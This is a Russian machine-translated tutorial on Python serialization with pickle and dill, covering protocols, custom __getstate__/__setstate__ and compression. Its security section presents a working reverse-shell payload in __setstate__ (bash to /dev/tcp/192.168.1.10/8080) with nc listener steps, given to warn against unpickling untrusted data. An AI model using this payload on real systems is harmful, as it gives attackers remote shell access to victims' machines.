Оглавление
- Сериализация в Python
- Внутри модуля pickle
- Форматы протокола модуля Python pickle
- Picklable и Unpicklable типы
- Сжатие Pickled объектов
- Проблемы безопасности с модулем Python pickle
- Вывод
Как разработчику, вам иногда может понадобиться отправить сложные иерархии объектов по сети или сохранить внутреннее состояние ваших объектов на диск или в базу данных для последующего использования. Для этого вы можете использовать процесс, называемый сериализацией , который полностью поддерживается стандартной библиотекой благодаря pickle
модулю Python .
В этом уроке вы узнаете:
- Что означает сериализация и десериализация объекта
- Какие модули вы можете использовать для сериализации объектов в Python
- Какие виды объектов можно сериализовать с помощью
pickle
модуля Python - Как использовать
pickle
модуль Python для сериализации объектных иерархий - Каковы риски при десериализации объекта из ненадежного источника
Сериализация в Python
Процесс сериализации – это способ преобразования структуры данных в линейную форму, которая может храниться или передаваться по сети.
В Python сериализация позволяет взять сложную структуру объекта и преобразовать ее в поток байтов, который можно сохранить на диск или отправить по сети. Обратный процесс, который принимает поток байтов и преобразует его обратно в структуру данных, называется десериализацией или демаршалингом .
Сериализация может использоваться в самых разных ситуациях. Одним из наиболее распространенных применений является сохранение состояния нейронной сети после фазы обучения, чтобы вы могли использовать его позже без необходимости повторять обучение.
Python предлагает три различных модуля в стандартной библиотеке, которые позволяют сериализовать и десериализовывать объекты:
Кроме того, Python поддерживает XML , который вы также можете использовать для сериализации объектов.
marshal
Модуль является самым старым из трех перечисленных выше. Он существует главным образом для чтения и записи скомпилированного байт-кода модулей Python или .pyc
файлов, которые вы получаете, когда интерпретатор импортирует модуль Python. Таким образом, даже если вы можете использовать marshal
для сериализации некоторых из ваших объектов, это не рекомендуется.
json
Модуль является новейшим из трех. Позволяет работать со стандартными файлами JSON. JSON – это очень удобный и широко используемый формат для обмена данными.
Есть несколько причин выбрать формат JSON : он удобен для чтения и не зависит от языка и легче XML. С помощью json
модуля вы можете сериализовать и десериализовать несколько стандартных типов Python:
Модуль Python pickle
– это еще один способ сериализации и десериализации объектов в Python. Он отличается от json
модуля тем, что сериализует объекты в двоичном формате, что означает, что результат не читается человеком. Тем не менее, он также быстрее и работает со многими другими типами Python, включая ваши пользовательские объекты.
Примечание: С этого момента, вы будете видеть термины pickling и unpickling используется для обозначения сериализации и десериализации с Python pickle
модуля.
Итак, у вас есть несколько различных способов сериализации и десериализации объектов в Python. Но какой из них вы должны использовать? Короткий ответ: нет единого решения для всех. Все зависит от вашего варианта использования.
Вот три основных руководства для принятия решения, какой подход использовать:
- Не используйте
marshal
модуль. Он используется главным образом интерпретатором, и официальная документация предупреждает, что сопровождающие Python могут изменять формат обратно несовместимыми способами. json
Модуль и XML является хорошим выбором , если вам нужно взаимодействие с различными языками или воспринимаемым форматом.- Модуль Python
pickle
– лучший выбор для всех остальных вариантов использования. Если вам не нужен читаемый человеком формат или стандартный совместимый формат, или если вам нужно сериализовать пользовательские объекты, тогда переходите кpickle
.
Внутри pickle
модуля Python
Модуль Python pickle
основном состоит из четырех методов:
pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
Первые два метода используются во время процесса pickling, а два других используются во время unpickling. Единственная разница между dump()
и dumps()
заключается в том, что первый создает файл, содержащий результат сериализации, а второй возвращает строку.
Чтобы отличить dumps()
от dump()
, полезно помнить, что s
в конце имени функции стоит символ string
. То же самое относится и к load()
и loads()
: первый читает файл, чтобы начать процесс расслоения, а второй работает со строкой.
Рассмотрим следующий пример. Допустим, у вас есть пользовательский класс example_class
с несколькими разными атрибутами, каждый из которых имеет свой тип:
a_number
a_string
a_dictionary
a_list
a_tuple
В приведенном ниже примере показано, как создать экземпляр класса и выбрать экземпляр, чтобы получить простую строку. После выбора класса вы можете изменить значение его атрибутов, не затрагивая выбранную строку. Затем вы можете снять выделенную строку в другой переменной, восстановив точную копию ранее выбранного класса:
# pickling.py
import pickle
class example_class:
a_number = 35
a_string = "hey"
a_list = [1, 2, 3]
a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
a_tuple = (22, 23)
my_object = example_class()
my_pickled_object = pickle.dumps(my_object) # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")
my_object.a_dict = None
my_unpickled_object = pickle.loads(my_pickled_object) # Unpickling the object
print(
f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")
В приведенном выше примере вы создаете несколько различных объектов и сериализуете их pickle
. Это производит единственную строку с сериализованным результатом:
$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}
Процесс pickling завершается правильно, сохраняя весь ваш экземпляр в этой строке: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'
После завершения процесса травления вы изменяете свой исходный объект, устанавливая атрибут a_dict
в None
.
Наконец, вы открываете строку для совершенно нового экземпляра. То, что вы получаете, является глубокой копией вашей исходной структуры объекта с момента начала процесса pickling.
Форматы протокола pickle
модуля
Как уже упоминалось выше, pickle
модуль является специфичным для Python, и результат процесса pickling может быть прочитан только другой программой Python. Но даже если вы работаете с Python, важно знать, что pickle
модуль эволюционировал со временем.
Это означает, что если вы выбрали объект с определенной версией Python, вы не сможете удалить его с более старой версией. Совместимость зависит от версии протокола, который вы использовали для процесса травления.
В настоящее время существует шесть различных протоколов, которые pickle
может использовать . Чем выше версия протокола, тем более поздним должен быть интерпретатор Python для расщепления.
- Протокол версии 0 был первой версией. В отличие от более поздних протоколов, он удобочитаем.
- Протокол версии 1 был первым двоичным форматом.
- Протокол версии 2 был представлен в Python 2.3.
- Протокол версии 3 был добавлен в Python 3.0. Не может быть выбран Python 2.x.
- Протокол версии 4 был добавлен в Python 3.4. Он поддерживает более широкий диапазон размеров и типов объектов и является протоколом по умолчанию, начиная с Python 3.8.
- Протокол версии 5 был добавлен в Python 3.8. Он имеет поддержку внеполосных данных и улучшенную скорость для внутриполосных данных.
Примечание. Более новые версии протокола предлагают больше функций и улучшений, но ограничены более высокими версиями интерпретатора. Обязательно учитывайте это при выборе протокола для использования.
Чтобы определить самый высокий протокол, который поддерживает ваш интерпретатор, вы можете проверить значение pickle.HIGHEST_PROTOCOL
атрибута.
Чтобы выбрать конкретный протокол , необходимо указать версию протокола при вызове load()
, loads()
, dump()
или dumps()
. Если вы не укажете протокол, ваш интерпретатор будет использовать версию по умолчанию, указанную в pickle.DEFAULT_PROTOCOL
атрибуте.
Выбираемые и необратимые типы
Вы уже узнали, что pickle
модуль Python может сериализовать гораздо больше типов, чем json
модуль. Тем не менее, не все picklable. Список unpicklable объектов включает соединения с базой данных, открытые сетевые сокеты, запущенные потоки и др.
Если вы обнаружите, что столкнулись с unpicklable, то есть несколько вещей, которые вы можете сделать. Первый вариант – использовать стороннюю библиотеку, например dill
.
dill
Модуль расширяет возможности pickle
. Согласно официальной документации , он позволяет сериализовать менее распространенные типы, такие как функции с выходами, вложенные функции , лямбда-выражения и многие другие.
Чтобы проверить этот модуль, вы можете попробовать выбрать lambda
функцию:
# pickling_error.py
import pickle
square = lambda x : x * x
my_pickle = pickle.dumps(square)
Если вы попытаетесь запустить эту программу, вы получите исключение, потому что pickle
модуль Python не может сериализовать lambda
функцию:
$ python pickling_error.py
Traceback (most recent call last):
File "pickling_error.py", line 6, in <module>
my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed
Теперь попробуйте заменить pickle
модуль Python на, dill
чтобы увидеть, есть ли разница:
# pickling_dill.py
import dill
square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)
Если вы запустите этот код, вы увидите, что dill
модуль сериализует lambda
без возврата ошибки:
$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'
Еще одна интересная особенность dill
заключается в том, что он может даже сериализовать весь сеанс интерпретатора. Вот пример:>>>
>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()
В этом примере вы запускаете интерпретатор, импортируете модуль и определяете lambda
функцию вместе с несколькими другими переменными. Затем вы импортируете dill
модуль и вызываете dump_session()
для сериализации всей сессии.
Если все идет хорошо, вы должны получить test.pkl
файл в текущем каталоге:
$ ls test.pkl
4 -rw-r--r--@ 1 dave staff 439 Feb 3 10:52 test.pkl
Теперь вы можете запустить новый экземпляр интерпретатора и загрузить test.pkl
файл для восстановления вашего последнего сеанса:>>>
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>
Первое globals().items()
утверждение показывает, что интерпретатор находится в исходном состоянии. Это означает, что вам нужно импортировать dill
модуль и вызвать load_session()
для восстановления сеанса сериализованного интерпретатора.
Примечание. Прежде чем использовать dill
вместо pickle
, имейте в виду, что dill
не включен в стандартную библиотеку интерпретатора Python и обычно работает медленнее, чем pickle
.
Несмотря на то, что он dill
позволяет сериализовать более широкий диапазон объектов pickle
, он не может решить все проблемы с сериализацией, которые могут у вас возникнуть. Если вам, например, необходимо сериализовать объект, который содержит соединение с базой данных, то у вас непростое время, потому что этот объект даже не для сериализации dill
.
Итак, как вы можете решить эту проблему?
Решением в этом случае является исключение объекта из процесса сериализации и повторная инициализация соединения после десериализации объекта.
Вы можете использовать, __getstate__()
чтобы определить, что должно быть включено в процесс травления. Этот метод позволяет вам указать, что вы хотите pickle. Если вы не переопределите __getstate__()
, __dict__
то будут использованы экземпляры по умолчанию .
В следующем примере вы увидите, как вы можете определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate()__
:
# custom_pickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
В этом примере вы создаете объект с тремя атрибутами. Поскольку один из атрибутов – это lambda
объект, его нельзя unpicklable стандартным pickle
модулем.
Чтобы решить эту проблему, вы должны указать, что pickle __getstate__()
. Сначала вы клонируете весь __dict__
экземпляр, чтобы все атрибуты были определены в классе, а затем вручную удаляете c
атрибут unpicklable .
Если вы запустите этот пример и затем десериализуете объект, то увидите, что новый экземпляр не содержит c
атрибут:
$ python custom_pickling.py
{'a': 35, 'b': 'test'}
Но что, если вы захотите выполнить некоторые дополнительные инициализации при снятии травления, скажем, добавив исключенный c
объект обратно в десериализованный экземпляр? Вы можете сделать это с помощью __setstate__()
:
# custom_unpickling.py
import pickle
class foobar:
def __init__(self):
self.a = 35
self.b = "test"
self.c = lambda x: x * x
def __getstate__(self):
attributes = self.__dict__.copy()
del attributes['c']
return attributes
def __setstate__(self, state):
self.__dict__ = state
self.c = lambda x: x * x
my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)
Передав исключенный c
объект в __setstate__()
, вы гарантируете, что он появится в __dict__
строке без выделения.
Сжатие Pickled объектов
Хотя pickle
формат данных является компактным двоичным представлением структуры объекта, вы все равно можете оптимизировать свою засеченную строку, сжимая ее с помощью bzip2
или gzip
.
Чтобы сжать Pickled строку bzip2
, вы можете использовать bz2
модуль из стандартной библиотеки.
В следующем примере вы возьмете строку, выделите ее, а затем сожмете ее с помощью bz2
библиотеки:>>>
>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259
При использовании сжатия помните, что файлы меньшего размера создаются за счет более медленного процесса.
Проблемы безопасности с pickle
модулем Python
Теперь вы знаете, как использовать pickle
модуль для сериализации и десериализации объектов в Python. Процесс сериализации очень удобен, когда вам нужно сохранить состояние вашего объекта на диск или передать его по сети.
Однако есть еще одна вещь, которую вам нужно знать о pickle
модуле Python : он небезопасен. Вы помните обсуждение __setstate__()
? Что ж, этот метод отлично подходит для выполнения большей инициализации во время удаления, но он также может быть использован для выполнения произвольного кода в процессе удаления!
Итак, что вы можете сделать, чтобы уменьшить этот риск?
К сожалению, не так уж много. Правило – никогда не распаковывать данные, которые поступают из ненадежного источника или передаются по небезопасной сети . Чтобы предотвратить man-in-the-middle attacks , рекомендуется использовать библиотеку hmac
чтобы подписывать данные и следить за тем, чтобы они не были подделаны.
В следующем примере показано, как открепление несанкционированного доступа может раскрыть вашу систему злоумышленникам, даже предоставив им работающую удаленную оболочку:
# remote.py
import pickle
import os
class foobar:
def __init__(self):
pass
def __getstate__(self):
return self.__dict__
def __setstate__(self, state):
# The attack is from 192.168.1.10
# The attacker is listening on port 8080
os.system('/bin/bash -c
"/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')
my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)
В этом примере выполняется процесс расщепления __setstate__()
, который выполняет команду Bash, чтобы открыть удаленную оболочку для 192.168.1.10
компьютера через порт 8080
.
Вот как вы можете безопасно протестировать этот скрипт на вашем Mac или Linux. Сначала откройте терминал и используйте nc
команду для прослушивания соединения с портом 8080:
$ nc -l 8080
Это будет терминал атакующего . Если все работает, то команда будет висеть.
Затем откройте другой терминал на том же компьютере (или на любом другом компьютере в сети) и выполните приведенный выше код Python для удаления вредоносного кода. Обязательно измените IP-адрес в коде на IP-адрес вашего атакующего терминала. В моем примере IP-адрес злоумышленника 192.168.1.10
.
Выполнив этот код, жертва предоставит атакующему оболочку:
$ python remote.py
Если все работает, на атакующей консоли появится оболочка Bash. Эта консоль теперь может работать непосредственно на атакуемой системе:
$ nc -l 8080
bash: no job control in this shell
The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$
Итак, позвольте мне повторить эту критическую точку еще раз: не используйте pickle
модуль для десериализации объектов из ненадежных источников!
Вывод
Теперь вы знаете, как использовать pickle
модуль Python для преобразования иерархии объектов в поток байтов, который можно сохранить на диск или передать по сети. Вы также знаете, что процесс десериализации в Python должен использоваться с осторожностью, поскольку извлечение чего-либо из ненадежного источника может быть чрезвычайно опасным.
В этом уроке вы узнали:
- Что означает сериализация и десериализация объекта
- Какие модули вы можете использовать для сериализации объектов в Python
- Какие виды объектов можно сериализовать с помощью
pickle
модуля Python - Как использовать
pickle
модуль Python для сериализации объектных иерархий - Каковы риски unpickling из ненадежного источника
Обладая этими знаниями, вы хорошо подготовлены для сохранения ваших объектов с помощью pickle
модуля Python .